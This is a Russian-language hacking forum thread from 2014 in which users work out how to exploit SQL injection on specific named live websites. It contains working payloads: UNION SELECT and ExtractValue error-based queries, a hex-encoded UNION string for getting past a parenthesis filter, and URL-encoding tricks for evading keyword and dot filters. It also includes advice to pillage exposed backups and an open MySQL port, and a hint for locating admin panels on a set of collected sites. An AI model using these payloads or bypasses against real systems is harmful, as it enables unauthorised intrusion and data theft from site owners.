21.05.2014, 05:49
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
возможно как-то раскрутить?)
Код:
http://srv3.lookmy.info/portal/13/europeisky/index.php?id=15998&show=4nalbum&do=showgall&gid=28005'
|
|
|
21.05.2014, 20:19
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
возможно как-то раскрутить?)
Код:
http://srv3.lookmy.info/portal/13/europeisky/index.php?id=15998&show=4nalbum&do=showgall&gid=28005'
Эксплуатация сильно затруднена в связи с тем, что фильтруются скобки.
|
|
|
|
21.05.2014, 23:01
|
|
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
С нами:
6783446
Репутация:
45
|
|
На соседних поддоментах имеются более перспективные варианты:
Код:
http://generator.lookmy.info/index.php?id=2677&show=4nalbum&do=showgall&gid=3471 union select 1,@@version,3,4,5,6,7,8-- w
хотя и там не всё так "светло" |
|
|
|
23.05.2014, 00:16
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
возможно как-то раскрутить?)
Код:
http://srv3.lookmy.info/portal/13/europeisky/index.php?id=15998&show=4nalbum&do=showgall&gid=28005'
Возможно, не стоит танцевать с фильтрами, а просто попинать все из http://srv3.lookmy.info/portal/13/ ? К тому же, там лежат многие бекапы, а порт мускула открыт в мир.
|
|
|
|
24.05.2014, 09:34
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от Sanic1977
Есть скуля, как обойти фильтрацию на "select", на слово "select" выдает 403 Forbidden, пример запроса
?id=1'or(ExtractValue(1,concat(0x3a,(select(count( *))from(website.user)))))=1
Код:
?id=%001'or(ExtractValue(1,concat(0x3a,(select(count(*))from(website.user)))))or'
Сообщение от BigBear
Эксплуатация сильно затруднена в связи с тем, что фильтруются скобки.
No problem
Код:
28006%20and%200%20UNION%20SELECT%200x3120616e64203020554e494f4e2053454c4543542076657273696f6e28292c2032202d2d
Первая скуля подходит даже больше, чем вторая. Инъекция в категориях, там обычно всегда более 1 запроса.
|
|
|
|
25.05.2014, 14:41
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
как обойти фильтрацию очки при mysql запросе?
|
|
|
|
26.05.2014, 11:51
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от qaz
как обойти фильтрацию очки при mysql запросе?
%2e
%252e
|
|
|
|
26.05.2014, 11:56
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами:
8142806
Репутация:
324
|
|
Иногда бывает что фильтры не работают при пост запросе
|
|
|
|
29.05.2014, 18:29
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от BigBear
%2e
%252e
спс, а как из точки получить такое содержимое, что это за тип шифрования?
я примерно догадываюсь что это может быть хекс, только вместо 0х поставили % но как получили второй вариант?
---------------------------------------------
никто не в курсе чтоза движок в котором префикс таблиц в БД начинается на pmd, pmd_admin, pmd_users и тд,?? уже насобиралась куча таких сайтов и никак не могу найти админку
|
|
|
|
29.05.2014, 21:17
|
|
Новичок
Регистрация: 22.08.2008
Сообщений: 10
С нами:
9325117
Репутация:
6
|
|
Сообщение от qaz
спс, а как из точки получить такое содержимое, что это за тип шифрования?
---------------------------------------------
никто не в курсе чтоза движок в котором префикс таблиц в БД начинается на pmd, pmd_admin, pmd_users и тд,?? уже насобиралась куча таких сайтов и никак не могу найти админку
у phpMyDirectory такие.
site.com/cp/
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.jpg?3722276){kind=avatar}
Похожие темы
Комбинированный вид
